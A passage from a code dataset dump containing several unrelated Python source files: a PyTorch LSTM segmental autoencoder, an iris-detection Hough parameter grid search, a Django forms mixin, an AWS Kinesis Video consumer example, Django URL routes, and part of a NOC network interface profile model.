x = pad_sequence(x, batch_first=True, padding_value=0.0).to(\"cuda\")\n\n x = torch.sum((x - x_rec)**2, dim=-1)\n\n rec_loss += sum([sum(x[j][:lens[j]]) for j in range(len(lens))])\n \n results = {\n \"segment_loss\":segment_loss,\n \"rec_loss\":rec_loss,\n \"sample_segment\":sample_segment,\n \"sample_rec\":sample_rec,\n \"sample_token\":sample_token,\n \"mean\":len_mean,\n \"total_len\":total_len,\n \"codebook_diversity\":codebook_diversity\n }\n\n return results, ass[1:], boundaries, seglist[1:]\n\n def forward_AE(self, feats, slice_len):\n seq_len = len(feats)\n\n durs = torch.randint(low=self.min_len, high=slice_len+1, size=(seq_len,))\n\n landmark = 0\n feat_segment = []\n for dur in durs:\n if landmark+dur >= seq_len:\n feat_segment.append(feats[landmark:])\n break\n else:\n feat_segment.append(feats[landmark:landmark+dur])\n landmark += dur\n\n feats = feat_segment\n del feat_segment\n durs = durs[:len(feats)]\n\n if len(feats[-1]) > self.min_len-1:\n durs[-1] = len(feats[-1])\n else:\n durs = durs[:-1]\n feats = feats[:-1]\n\n x = self.encoder(feats, pack=True)[0]\n\n embs = []\n for x_i, durs_i in zip(x, durs):\n x_i = x_i[durs_i - 1]\n embs.append(x_i)\n embs = torch.stack(embs)\n\n sample_segment = len(embs)\n rec_loss = 0\n len_mean = torch.mean(durs.to(torch.float)).item()\n len_sum = torch.sum(durs).item()\n for i in range(int(len(embs)/self.batch_size)+1):\n e = embs[i*self.batch_size:(i+1)*self.batch_size]\n lens = durs[i*self.batch_size:(i+1)*self.batch_size]\n if len(lens)==0:break\n\n x_rec = self.decoder(e, lens)\n\n x = feats[i*self.batch_size:(i+1)*self.batch_size]\n\n x = pad_sequence(x, batch_first=True, padding_value=0.0).to(\"cuda\")\n\n x = torch.sum((x - x_rec)**2, dim=-1)\n\n rec_loss += sum([sum(x[j][:lens[j]]) for j in range(len(lens))])\n \n results = {\n \"segment_loss\":torch.tensor(0),\n \"rec_loss\":rec_loss,\n \"sample_segment\":sample_segment,\n \"sample_rec\":0,\n \"sample_token\":0,\n \"mean\":len_mean,\n \"total_len\":len_sum,\n \"codebook_diversity\":None\n }\n\n return results, None, None, None\n\nclass LSTMEncoder(nn.Module):\n def __init__(self, input_dim, hidden_dim, num_layers):\n super(LSTMEncoder, self).__init__()\n\n self.hidden_dim = hidden_dim\n self.dropout = 0.1\n self.dropout_input = nn.Dropout(self.dropout)\n self.num_layers = num_layers\n \n self.rnn = nn.LSTM(\n input_dim, hidden_dim, \n num_layers=num_layers,\n batch_first=True,\n dropout=self.dropout,\n bidirectional=False)\n \n def forward(self, x, pack=False):\n x_len = [len(x[j]) for j in range(len(x))]\n x = pad_sequence(x, batch_first=True, padding_value=0.0).to(\"cuda\")\n x = self.dropout_input(x)\n \n x = pack_padded_sequence(x, x_len, batch_first=True, enforce_sorted=False)\n x = self.rnn(x)[0]\n x, _ = pad_packed_sequence(x, batch_first=True, padding_value=0.0, total_length=None)\n\n return x, None\n\nclass LSTMDecoder(nn.Module):\n def __init__(self, hidden_dim, output_dim, num_layers, word_size):\n super(LSTMDecoder, self).__init__()\n\n self.hidden_dim = hidden_dim\n self.dropout = 0.1\n self.dropout_input = nn.Dropout(self.dropout)\n self.num_layers = num_layers\n \n self.rnn = nn.LSTM(\n hidden_dim, hidden_dim,\n num_layers=num_layers,\n batch_first=True,\n dropout=self.dropout,\n bidirectional=False)\n\n self.proj = nn.Linear(hidden_dim, output_dim)\n\n def forward(self, x, lens):\n x = self.dropout_input(x)\n x = x.expand(max(lens), x.size(0), x.size(1)).permute(1,0,2)\n \n x = pack_padded_sequence(x, lens, batch_first=True, enforce_sorted=False)\n x = self.rnn(x)[0]\n x, _ = pad_packed_sequence(x, batch_first=True, padding_value=0.0, total_length=None)\n \n x = self.proj(x)\n return x\n","repo_name":"tttslab/nn-eskmeans","sub_path":"scripts/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":17595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"26741272256","text":"import cv2 as cv\nimport sys\nimport copy\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\n\n\ndef write_head(file):\n file.write(\"obrazok, kernel, sigma, akumulator, cent, param1, param2, min_pol, max_pol, precision, recall\\n\")\n\n\ndef write_to_file(file, img_name, kernel, sigma, akumulator, cent, param1, param2, min_pol, max_pol, precision, recall):\n c = \", \"\n\n file.write(str(img_name) + c + str(kernel) + c + str(sigma) + c + str(akumulator) + c + str(cent) + c + str(param1)\n + c + str(param2) + c + str(min_pol) + c + str(max_pol) + c + str(precision) + c + str(recall))\n file.write(\"\\n\")\n\n\ndef compute_square_vertices(x, y, radius):\n # x1 = x - radius\n # y1 = y + radius\n # x2 = x + radius\n # y2 = y - radius\n\n x1 = x - radius\n y1 = y - radius\n x2 = x + radius\n y2 = y + radius\n\n return int(x1), int(y1), int(x2), int(y2)\n\n\ndef compute_iou(square_circle, square_correct_circle):\n x_inter1 = max(square_circle[0], square_correct_circle[0])\n y_inter1 = max(square_circle[1], square_correct_circle[1])\n x_inter_2 = min(square_circle[2], square_correct_circle[2])\n y_inter_2 = min(square_circle[3], square_correct_circle[3])\n\n width_inter = abs(x_inter_2 - x_inter1)\n height_inter = abs(y_inter_2 - y_inter1)\n area_inter = width_inter * height_inter\n width_box1 = abs(square_circle[2] - square_circle[0])\n height_box1 = abs(square_circle[3] - square_circle[1])\n width_box2 = abs(square_correct_circle[2] - square_correct_circle[0])\n height_box2 = abs(square_correct_circle[3] - square_correct_circle[1])\n\n area_box1 = width_box1 * height_box1\n area_box2 = width_box2 * height_box2\n area_union = area_box1 + area_box2 - area_inter\n\n return area_inter / area_union\n\n\ndef set_gaus_rozm_jadro(image, param_kernel, param_sigma):\n return cv.GaussianBlur(image, (param_kernel, param_kernel), param_sigma)\n\n\ndef set_gaus_rozm_sigma(image, param_kernel, param_sigma):\n return cv.GaussianBlur(image, (param_kernel, param_kernel), param_sigma)\n\n\ndef set_hough(image, akumulator, vz_cent, param1, param2, min_pol, max_pol):\n circles = cv.HoughCircles(image, cv.HOUGH_GRADIENT, akumulator, vz_cent, None, param1, param2,\n min_pol, max_pol)\n\n return circles\n\n\ndef hough(circles, correct_cycle):\n tp = 0\n fp = 0\n fn = 0\n\n if circles is not None:\n circles = np.uint16(np.around(circles))\n for i in circles[0, :]:\n square_circle = compute_square_vertices(i[0], i[1], i[2])\n square_correct_circle = compute_square_vertices(correct_cycle[0], correct_cycle[1], correct_cycle[2])\n # iou = compute_iou(square_circle, square_correct_circle)\n iou = compute_iou(square_correct_circle, square_circle)\n # print(\"IOU: \" + str(round(iou, 2)))\n if iou >= 0.75:\n tp += 1\n else:\n fp += 1\n\n if tp == 0:\n fn = 1\n\n precision = round(tp / (tp + fp), 2)\n recall = round(tp / (tp + fn), 2)\n return (tp, fp, fn), precision, recall\n\n return (0, 0, 0), 0, 0\n\n\nimg_name = \"duhovky/001/L/S1001L01.jpg\"\n\nimg = cv.imread(cv.samples.findFile(img_name))\nimg = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\ndata = pd.read_csv(\"iris_annotation.csv\")\ndata = data.where(data[\"image\"] == img_name[8:]).dropna()\nlist = [data.columns[:, ].values.astype(str).tolist()] + data.values.tolist()\nlist = [int(list[1][1]), int(list[1][2]), int(list[1][3]), int(list[1][4]),\n int(list[1][5]), int(list[1][6])]\n\nzrnicka = open(\"zrnicka.txt\", \"w\")\nduhovka = open(\"duhovka.txt\", \"w\")\n\nwrite_head(zrnicka)\nwrite_head(duhovka)\n\nfor kernel in tqdm(range(4)):\n print(\"kernel \" + str(kernel))\n k = 0\n if kernel == 0:\n k = 1\n elif kernel == 1:\n k = 3\n elif kernel == 2:\n k = 5\n elif kernel == 3:\n k = 9\n\n for sigma in tqdm(range(11)):\n print(\"sigma \" + str(sigma))\n image_sigma = set_gaus_rozm_sigma(img, k, sigma)\n\n for akumulator in range(1, 20):\n print(\"akumulator \" + str(akumulator))\n for cent in range(1, 20):\n print(\"cent \" + str(cent))\n for param1 in range(1, 20):\n print(\"param1 \" + str(param1))\n for param2 in range(1, 20):\n print(\"param2 \" + str(param2))\n for min_pol in range(1, 20):\n print(\"min_pol \" + str(min_pol))\n for max_pol in range(1, 20):\n print(\"max_pol \" + str(max_pol))\n circles = set_hough(image_sigma, akumulator, cent, param1, param2, min_pol, max_pol)\n\n result_zrnicka = hough(circles, list[0: 3])\n result_duhovka = hough(circles, list[3:6])\n\n if result_zrnicka[1] == 1:\n write_to_file(zrnicka, img_name, k, sigma, akumulator, cent, param1, param2,\n min_pol, max_pol, result_zrnicka[1], result_zrnicka[2])\n\n if result_duhovka[1] == 1:\n write_to_file(duhovka, img_name, k, sigma, akumulator, cent, param1, param2,\n min_pol, max_pol, result_duhovka[1], result_duhovka[2])\n\nzrnicka.close()\nduhovka.close()\n","repo_name":"KikoSokol/Search-for-biometric-data-in-picture","sub_path":"grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":5496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7554586472","text":"from django import forms as django_forms\nfrom django.apps import apps\nfrom django.conf import settings\nfrom django.utils.html import conditional_escape\n\nfrom tbxforms.fields import DateInputField\nfrom tbxforms.helper import FormHelper\nfrom tbxforms.layout import Size\n\nif apps.is_installed(\"wagtail.contrib.forms\"):\n from wagtail.contrib.forms.forms import FormBuilder\n\n\nclass TbxFormsMixin:\n @staticmethod\n def conditional_fields_to_show_as_required() -> []:\n \"\"\"\n Field names defined here will be shown as required fields (though they\n will not have the HTML5 required attribute).\n Actual validation of conditionally required fields will need manually\n adding via the form's `clean()` method.\n \"\"\"\n return []\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.helper = FormHelper(self)\n self.helper.form_class = \"tbxforms\" # \"form.tbxforms\" is used by our JS to add conditional field logic. # noqa: E501\n self.helper.html5_required = True\n self.helper.label_size = Size.MEDIUM\n self.helper.legend_size = Size.MEDIUM\n\n # Escape HTML within `label` and `help_text` unless it's set to allow.\n # NB. Also see https://github.com/torchbox/tbxforms/blob/main/tbxforms/layout/buttons.py#L102 # noqa: E501\n for field_name, field in self.fields.items():\n if all(\n [\n field.label,\n not getattr(settings, \"TBXFORMS_ALLOW_HTML_LABEL\", False),\n ]\n ):\n field.label = conditional_escape(field.label)\n\n if all(\n [\n field.help_text,\n not getattr(\n settings, \"TBXFORMS_ALLOW_HTML_HELP_TEXT\", False\n ),\n ]\n ):\n field.help_text = conditional_escape(field.help_text)\n\n\nif \"FormBuilder\" in locals():\n\n class BaseWagtailFormBuilder(FormBuilder):\n \"\"\"\n Override some fields to use tbxforms functionality/variants.\n \"\"\"\n\n def create_date_field(self, field, options) -> DateInputField:\n return DateInputField(**options)\n\n def create_multiselect_field(\n self, field, options\n ) -> django_forms.MultipleChoiceField:\n # Multiselects are difficult to use, so let's revert to checkboxes.\n options[\"choices\"] = map(\n lambda x: (x.strip(), x.strip()), field.choices.split(\",\")\n )\n return django_forms.MultipleChoiceField(\n widget=django_forms.CheckboxSelectMultiple, **options\n )\n","repo_name":"torchbox/tbxforms","sub_path":"tbxforms/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"23045177434","text":" \n__version__ = \"0.0.1\"\n__status__ = \"Development\"\n__copyright__ = \"Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\"\n__author__ = \"Dean Colcott \"\n\nimport os\nimport sys\nimport time\nimport boto3\nimport logging\nfrom amazon_kinesis_video_consumer_library.kinesis_video_streams_parser import KvsConsumerLibrary\nfrom amazon_kinesis_video_consumer_library.kinesis_video_fragment_processor import KvsFragementProcessor\n\n# Config the logger.\nlog = logging.getLogger(__name__)\nlogging.basicConfig(format=\"[%(name)s.%(funcName)s():%(lineno)d] - [%(levelname)s] - %(message)s\", \n stream=sys.stdout, \n level=logging.INFO)\n\n# Update the desired region and KVS stream name.\nREGION='[ENTER_REGION]'\nKVS_STREAM01_NAME = '[ENTER_KVS_STREAM_NAME]' # Stream must be in specified region\n\n\nclass KvsPythonConsumerExample:\n '''\n Example class to demonstrate usage the AWS Kinesis Video Streams KVS) Consumer Library for Python.\n '''\n\n def __init__(self):\n '''\n Initialize the KVS clients as needed. The KVS Comsumer Library intentionally does not abstract \n the KVS clients or the various media API calls. These have individual authentication configuration and \n a variety of other user defined settings so we keep them here in the users application logic for configurability.\n\n The KvsConsumerLibrary sits above these and parses responses from GetMedia and GetMediaForFragmentList \n into MKV fragments and provides convenience functions to further process, save and extract individual frames. \n '''\n\n # Create shared instance of KvsFragementProcessor\n self.kvs_fragment_processor = KvsFragementProcessor()\n\n # Variable to maintaun state of last good fragememt mostly for error and exception handling.\n self.last_good_fragment_tags = None\n\n # Init the KVS Service Client and get the accounts KVS service endpoint\n log.info('Initializing Amazon Kinesis Video client....')\n # Attach session specific configuration (such as the authentication pattern)\n self.session = boto3.Session(region_name=REGION)\n self.kvs_client = self.session.client(\"kinesisvideo\")\n\n ####################################################\n # Main process loop\n def service_loop(self):\n \n ####################################################\n # Start an instance of the KvsConsumerLibrary reading in a Kinesis Video Stream\n\n # Get the KVS Endpoint for the GetMedia Call for this stream\n log.info(f'Getting KVS GetMedia Endpoint for stream: {KVS_STREAM01_NAME} ........') \n get_media_endpoint = self._get_data_endpoint(KVS_STREAM01_NAME, 'GET_MEDIA')\n \n # Get the KVS Media client for the GetMedia API call\n log.info(f'Initializing KVS Media client for stream: {KVS_STREAM01_NAME}........') \n kvs_media_client = self.session.client('kinesis-video-media', endpoint_url=get_media_endpoint)\n\n # Make a KVS GetMedia API call with the desired KVS stream and StartSelector type and time bounding.\n log.info(f'Requesting KVS GetMedia Response for stream: {KVS_STREAM01_NAME}........') \n get_media_response = kvs_media_client.get_media(\n StreamName=KVS_STREAM01_NAME,\n StartSelector={\n 'StartSelectorType': 'NOW'\n }\n )\n\n # Initialize an instance of the KvsConsumerLibrary, provide the GetMedia response and the required call-backs\n log.info(f'Starting KvsConsumerLibrary for stream: {KVS_STREAM01_NAME}........') \n my_stream01_consumer = KvsConsumerLibrary(KVS_STREAM01_NAME, \n get_media_response, \n self.on_fragment_arrived, \n self.on_stream_read_complete, \n self.on_stream_read_exception\n )\n\n # Start the instance of KvsConsumerLibrary, any matching fragments will begin arriving in the on_fragment_arrived callback\n my_stream01_consumer.start()\n\n # Can create another instance of KvsConsumerLibrary on a different media stream or continue on to other application logic. \n\n # Here can hold the process up by waiting for the KvsConsumerLibrary thread to finish (may never finish for live streaming fragments)\n #my_stream01_consumer.join()\n\n # Or \n \n # Run a loop with the applications main functionality that holds the process open.\n # Can also use to monitor the completion of the KvsConsumerLibrary instance and trigger a required action on completion.\n while True:\n\n #Add Main process / application logic here while KvsConsumerLibrary instance runs as a thread\n log.info(\"Nothn to see, just doin main application stuff in a loop here!\")\n time.sleep(5)\n \n # Call below to exit the streaming get_media() thread gracefully before reaching end of stream. \n #my_stream01_consumer.stop_thread()\n\n\n ####################################################\n # KVS Consumer Library call-backs\n\n def on_fragment_arrived(self, stream_name, fragment_bytes, fragment_dom, fragment_receive_duration):\n '''\n This is the callback for the KvsConsumerLibrary to send MKV fragments as they are received from a stream being processed.\n The KvsConsumerLibrary returns the received fragment as raw bytes and a DOM like structure containing the fragments meta data.\n\n With these parameters you can do a variety of post-processing including saving the fragment as a standalone MKV file\n to local disk, request individual frames as a numpy.ndarray for data science applications or as JPEG/PNG files to save to disk \n or pass to computer vison solutions. Finally, you can also use the Fragment DOM to access Meta-Data such as the MKV tags as well\n as track ID and codec information. \n\n In the below example we provide a demonstration of all of these described functions.\n\n ### Parameters:\n\n **stream_name**: str\n Name of the stream as set when the KvsConsumerLibrary thread triggering this callback was initiated.\n Use this to identify a fragment when multiple streams are read from different instances of KvsConsumerLibrary to this callback.\n\n **fragment_bytes**: bytearray\n A ByteArray with raw bytes from exactly one fragment. Can be save or processed to access individual frames\n\n **fragment_dom**: mkv_fragment_doc: ebmlite.core.Document \n A DOM like structure of the parsed fragment providing searchable list of EBML elements and MetaData in the Fragment\n\n **fragment_receive_duration**: float\n The time in seconds that the fragment took for the streaming data to be received and processed. \n \n '''\n \n try:\n # Log the arrival of a fragment. \n # use stream_name to identify fragments where multiple instances of the KvsConsumerLibrary are running on different streams.\n log.info(f'\\n\\n##########################\\nFragment Received on Stream: {stream_name}\\n##########################')\n \n # Print the fragment receive and processing duration as measured by the KvsConsumerLibrary\n log.info('')\n log.info(f'####### Fragment Receive and Processing Duration: {fragment_receive_duration} Secs')\n\n # Get the fragment tags and save in local parameter.\n self.last_good_fragment_tags = self.kvs_fragment_processor.get_fragment_tags(fragment_dom)\n\n ##### Log Time Deltas: local time Vs fragment SERVER and PRODUCER Timestamp:\n time_now = time.time()\n kvs_ms_behind_live = float(self.last_good_fragment_tags['AWS_KINESISVIDEO_MILLIS_BEHIND_NOW'])\n producer_timestamp = float(self.last_good_fragment_tags['AWS_KINESISVIDEO_PRODUCER_TIMESTAMP'])\n server_timestamp = float(self.last_good_fragment_tags['AWS_KINESISVIDEO_SERVER_TIMESTAMP'])\n \n log.info('')\n log.info('####### Timestamps and Delta: ')\n log.info(f'KVS Reported Time Behind Live {kvs_ms_behind_live} mS')\n log.info(f'Local Time Diff to Fragment Producer Timestamp: {round(((time_now - producer_timestamp)*1000), 3)} mS')\n log.info(f'Local Time Diff to Fragment Server Timestamp: {round(((time_now - server_timestamp)*1000), 3)} mS')\n\n ###########################################\n # 1) Extract and print the MKV Tags in the fragment\n ###########################################\n # Get the fragment MKV Tags (Meta-Data). KVS allows these to be set per fragment to convey some information \n # about the attached frames such as location or Computer Vision labels. Here we just log them!\n log.info('')\n log.info('####### Fragment MKV Tags:')\n for key, value in self.last_good_fragment_tags.items():\n log.info(f'{key} : {value}')\n\n ###########################################\n # 2) Pretty Print the entire fragment DOM structure\n # ###########################################\n # Get and log the the pretty print string for entire fragment DOM structure from EBMLite parsing.\n log.info('')\n log.info('####### Pretty Print Fragment DOM: #######')\n pretty_frag_dom = self.kvs_fragment_processor.get_fragement_dom_pretty_string(fragment_dom)\n log.info(pretty_frag_dom)\n\n ###########################################\n # 3) Write the Fragment to disk as standalone MKV file\n ###########################################\n save_dir = 'ENTER_DIRECTORY_PATH_TO_SAVE_FRAGEMENTS'\n frag_file_name = self.last_good_fragment_tags['AWS_KINESISVIDEO_FRAGMENT_NUMBER'] + '.mkv' # Update as needed\n frag_file_path = os.path.join(save_dir, frag_file_name)\n # Uncomment below to enable this function - will take a significant amount of disk space if left running unchecked:\n #log.info('')\n #log.info(f'####### Saving fragment to local disk at: {frag_file_path}')\n #self.kvs_fragment_processor.save_fragment_as_local_mkv(fragment_bytes, frag_file_path)\n\n ###########################################\n # 4) Extract Frames from Fragment as ndarrays:\n ###########################################\n # Get a ratio of available frames in the fragment as a list of numpy.ndarray's\n # Here we just log the shape of each image array but ndarray lends itself to many powerful \n # data science, computer vision and video analytic functions in particular.\n one_in_frames_ratio = 5\n log.info('')\n log.info(f'####### Reading 1 in {one_in_frames_ratio} Frames from fragment as ndarray:')\n ndarray_frames = self.kvs_fragment_processor.get_frames_as_ndarray(fragment_bytes, one_in_frames_ratio)\n for i in range(len(ndarray_frames)):\n ndarray_frame = ndarray_frames[i]\n log.info(f'Frame-{i} Shape: {ndarray_frame.shape}')\n \n ###########################################\n # 5) Save Frames from Fragment to local disk as JPGs\n ###########################################\n # Get a ratio of available frames in the fragment and save as JPGs to local disk.\n # JPEGs could also be sent to other AWS services such as Amazon Rekognition and Amazon Sagemaker\n # for computer vision inference. \n # Alternatively, these could be sent to Amazon S3 and used to create a timelapse set of images or \n # further processed into timed thumbnails for the KVS media stream.\n one_in_frames_ratio = 5\n save_dir = 'ENTER_DIRECTORY_PATH_TO_SAVE_JPEG_FRAMES'\n jpg_file_base_name = self.last_good_fragment_tags['AWS_KINESISVIDEO_FRAGMENT_NUMBER']\n jpg_file_base_path = os.path.join(save_dir, jpg_file_base_name)\n \n # Uncomment below to enable this function - will take a significant amount of disk space if left running unchecked:\n #log.info('')\n #log.info(f'####### Saving 1 in {one_in_frames_ratio} Frames from fragment as JPEG to base path: {jpg_file_base_path}')\n #jpeg_paths = self.kvs_fragment_processor.save_frames_as_jpeg(fragment_bytes, one_in_frames_ratio, jpg_file_base_path)\n #for i in range(len(jpeg_paths)):\n # jpeg_path = jpeg_paths[i]\n # print(f'Saved JPEG-{i} Path: {jpeg_path}')\n\n except Exception as err:\n log.error(f'on_fragment_arrived Error: {err}')\n \n def on_stream_read_complete(self, stream_name):\n '''\n This callback is triggered by the KvsConsumerLibrary when a stream has no more fragments available.\n This represents a graceful exit of the KvsConsumerLibrary thread.\n\n A stream will reach the end of the available fragments if the StreamSelector applied some \n time or fragment bounding on the media request or if requesting a live steam and the producer \n stopped sending more fragments. \n\n Here you can choose to either restart reading the stream at a new time or just clean up any\n resources that were expecting to process any further fragments. \n \n ### Parameters:\n\n **stream_name**: str\n Name of the stream as set when the KvsConsumerLibrary thread triggering this callback was initiated.\n Use this to identify a fragment when multiple streams are read from different instances of KvsConsumerLibrary to this callback.\n '''\n\n # Do something here to tell the application that reading from the stream ended gracefully.\n print(f'Read Media on stream: {stream_name} Completed successfully - Last Fragment Tags: {self.last_good_fragment_tags}')\n\n def on_stream_read_exception(self, stream_name, error):\n '''\n This callback is triggered by an exception in the KvsConsumerLibrary reading a stream. \n \n For example, to process use the last good fragment number from self.last_good_fragment_tags to\n restart the stream from that point in time with the example stream selector provided below. \n \n Alternatively, just handle the failed stream as per your application logic requirements.\n\n ### Parameters:\n\n **stream_name**: str\n Name of the stream as set when the KvsConsumerLibrary thread triggering this callback was initiated.\n Use this to identify a fragment when multiple streams are read from different instances of KvsConsumerLibrary to this callback.\n\n **error**: err / exception\n The Exception obje tvthat was thrown to trigger this callback.\n\n '''\n\n # Can choose to restart the KvsConsumerLibrary thread at the last received fragment with below example StartSelector\n #StartSelector={\n # 'StartSelectorType': 'FRAGMENT_NUMBER',\n # 'AfterFragmentNumber': self.last_good_fragment_tags['AWS_KINESISVIDEO_CONTINUATION_TOKEN'],\n #}\n\n # Here we just log the error \n print(f'####### ERROR: Exception on read stream: {stream_name}\\n####### Fragment Tags:\\n{self.last_good_fragment_tags}\\nError Message:{error}')\n\n ####################################################\n # KVS Helpers\n def _get_data_endpoint(self, stream_name, api_name):\n '''\n Convenience method to get the KVS client endpoint for specific API calls. \n '''\n response = self.kvs_client.get_data_endpoint(\n StreamName=stream_name,\n APIName=api_name\n )\n return response['DataEndpoint']\n\nif __name__ == \"__main__\":\n '''\n Main method for example KvsConsumerLibrary\n '''\n \n kvsConsumerExample = KvsPythonConsumerExample()\n kvsConsumerExample.service_loop()\n\n","repo_name":"aws-samples/amazon-kinesis-video-streams-consumer-library-for-python","sub_path":"kvs_consumer_library_example.py","file_name":"kvs_consumer_library_example.py","file_ext":"py","file_size_in_byte":16383,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"47"} +{"seq_id":"16644263259","text":"from unicodedata import name\nfrom django.contrib import admin\nfrom django.urls import path\nfrom api import views\n#jwt\nfrom rest_framework_simplejwt.views import (\n TokenObtainPairView,\n TokenRefreshView,\n)\n\n \n\nurlpatterns = [\n path('', views.index,name = \"defaultPage\"),\n path('users',views.usersData,name = \"usersData\"),\n # path('polls',views.pollsData,name = \"pollsData\"),\n path('polls',views.getMysqlPollData,name = \"pollsData\"),\n path('pollsMysql',views.getMysqlPollData,name = \"pollsData\"),\n path('create',views.createPoll,name = \"createPoll\"),\n path('update',views.updatePoll,name = \"updatePoll\"),\n\n path('login', views.MyTokenObtainPairView.as_view(), name='token_obtain_pair'),\n path('api/token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n\n path('signup',views.signup,name = \"signup\")\n]","repo_name":"Gaurav-88074/pollapp","sub_path":"back/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21274654259","text":"from threading import Lock, RLock\nfrom typing import Optional, Dict\nfrom dataclasses import dataclass\nimport operator\n\n# Third-party modules\nfrom mongoengine.document import Document, EmbeddedDocument\nfrom mongoengine.fields import (\n StringField,\n BooleanField,\n LongField,\n ReferenceField,\n ListField,\n EmbeddedDocumentField,\n IntField,\n)\nfrom pymongo import ReadPreference\nfrom bson import ObjectId\nimport cachetools\n\n# NOC modules\nfrom noc.core.mongo.fields import ForeignKeyField, PlainReferenceField\nfrom noc.main.models.style import Style\nfrom noc.main.models.notificationgroup import NotificationGroup\nfrom noc.main.models.remotesystem import RemoteSystem\nfrom noc.main.models.handler import Handler\nfrom noc.main.models.label import Label\nfrom noc.pm.models.metrictype import MetricType\nfrom noc.pm.models.thresholdprofile import ThresholdProfile\nfrom noc.cm.models.interfacevalidationpolicy import InterfaceValidationPolicy\nfrom noc.core.bi.decorator import bi_sync\nfrom noc.core.change.decorator import change\n\nfrom noc.core.model.decorator import on_delete_check\nfrom .ifdescpatterns import IfDescPatterns\n\nid_lock = Lock()\nips_lock = RLock()\nmetrics_lock = Lock()\n\n\n@dataclass\nclass MetricConfig(object):\n metric_type: MetricType\n enable_box: bool\n enable_periodic: bool\n is_stored: bool\n threshold_profile: Optional[ThresholdProfile]\n\n\nclass MatchRule(EmbeddedDocument):\n dynamic_order = IntField(default=0)\n labels = ListField(StringField())\n handler = StringField()\n\n def __str__(self):\n return f'{self.dynamic_order}: {\", \".join(self.labels)}'\n\n def get_labels(self):\n return list(Label.objects.filter(name__in=self.labels))\n\n\nclass InterfaceProfileMetrics(EmbeddedDocument):\n meta = {\"strict\": False}\n metric_type = ReferenceField(MetricType, required=True)\n # Metric collection settings\n # Enable during box discovery\n enable_box = BooleanField(default=False)\n # Enable during periodic discovery\n enable_periodic = BooleanField(default=True)\n # Send metrics to persistent store\n is_stored = BooleanField(default=True)\n # Threshold processing\n threshold_profile = ReferenceField(ThresholdProfile)\n\n\n@bi_sync\n@change\n@on_delete_check(\n check=[\n (\"inv.Interface\", \"profile\"),\n (\"inv.InterfaceClassificationRule\", \"profile\"),\n (\"inv.SubInterface\", \"profile\"),\n (\"sa.ServiceProfile\", \"interface_profile\"),\n ]\n)\nclass InterfaceProfile(Document):\n \"\"\"\n Interface SLA profile and settings\n \"\"\"\n\n meta = {\n \"collection\": \"noc.interface_profiles\",\n \"strict\": False,\n \"auto_create_index\": False,\n \"indexes\": [\n \"match_rules.labels\",\n \"status_discovery\",\n (\"match_rules.dynamic_order\", \"match_rules.labels\"),\n (\"dynamic_classification_policy\", \"match_rules.labels\"),\n ],\n }\n name = StringField(unique=True)\n description = StringField()\n style = ForeignKeyField(Style, required=False)\n # Interface-level events processing\n link_events = StringField(\n required=True,\n choices=[\n (\"I\", \"Ignore Events\"),\n (\"L\", \"Log events, do not raise alarms\"),\n (\"A\", \"Raise alarms\"),\n ],\n default=\"A\",\n )\n # Discovery settings\n discovery_policy = StringField(\n choices=[(\"I\", \"Ignore\"), (\"O\", \"Create new\"), (\"R\", \"Replace\"), (\"C\", \"Add to cloud\")],\n default=\"R\",\n )\n # Collect mac addresses on interface\n mac_discovery_policy = StringField(\n choices=[\n (\"d\", \"Disabled\"),\n (\"m\", \"Management VLAN\"),\n (\"e\", \"Transit\"),\n (\"i\", \"Direct Downlink\"),\n (\"c\", \"Chained Downlink\"),\n (\"u\", \"Direct Uplink\"),\n (\"C\", \"Cloud Downlink\"),\n ],\n default=\"d\",\n )\n # Collect and keep interface status\n status_discovery = StringField(\n choices=[\n (\"d\", \"Disabled\"),\n (\"e\", \"Enable\"),\n (\"c\", \"Clear Alarm\"),\n (\"ca\", \"Clear Alarm if Admin Down\"),\n (\"rc\", \"Raise & Clear Alarm\"),\n ],\n default=\"d\",\n )\n #\n allow_lag_mismatch = BooleanField(default=False)\n # Send up/down notifications\n status_change_notification = ForeignKeyField(NotificationGroup, required=False)\n # Interface profile metrics\n metrics = ListField(EmbeddedDocumentField(InterfaceProfileMetrics))\n # Alarm weight\n weight = IntField(default=0)\n # User network interface\n # MAC discovery can be restricted to UNI\n is_uni = BooleanField(default=False)\n # Allow automatic segmentation\n allow_autosegmentation = BooleanField(default=False)\n # Allow collecting metrics from subinterfaces\n allow_subinterface_metrics = BooleanField(default=False)\n #\n allow_vacuum_bulling = BooleanField(default=False)\n # Validation policy\n interface_validation_policy = PlainReferenceField(InterfaceValidationPolicy)\n #\n ifdesc_patterns = PlainReferenceField(IfDescPatterns)\n ifdesc_handler = PlainReferenceField(Handler)\n # Enable abduct detection on interface\n enable_abduct_detection = BooleanField(default=False)\n # Dynamic Profile Classification\n dynamic_classification_policy = StringField(\n choices=[(\"R\", \"By Rule\"), (\"D\", \"Disable\")],\n default=\"R\",\n )\n #\n match_rules = ListField(EmbeddedDocumentField(MatchRule))\n # Integration with external NRI and TT systems\n # Reference to remote system object has been imported from\n remote_system = ReferenceField(RemoteSystem)\n # Object id in remote system\n remote_id = StringField()\n # Object id in BI\n bi_id = LongField(unique=True)\n\n _id_cache = cachetools.TTLCache(maxsize=100, ttl=60)\n _name_cache = cachetools.TTLCache(maxsize=100, ttl=60)\n _bi_id_cache = cachetools.TTLCache(maxsize=100, ttl=60)\n _default_cache = cachetools.TTLCache(maxsize=100, ttl=60)\n _status_discovery_cache = cachetools.TTLCache(maxsize=10, ttl=120)\n _interface_profile_metrics = cachetools.TTLCache(maxsize=1000, ttl=60)\n\n DEFAULT_PROFILE_NAME = \"default\"\n\n def 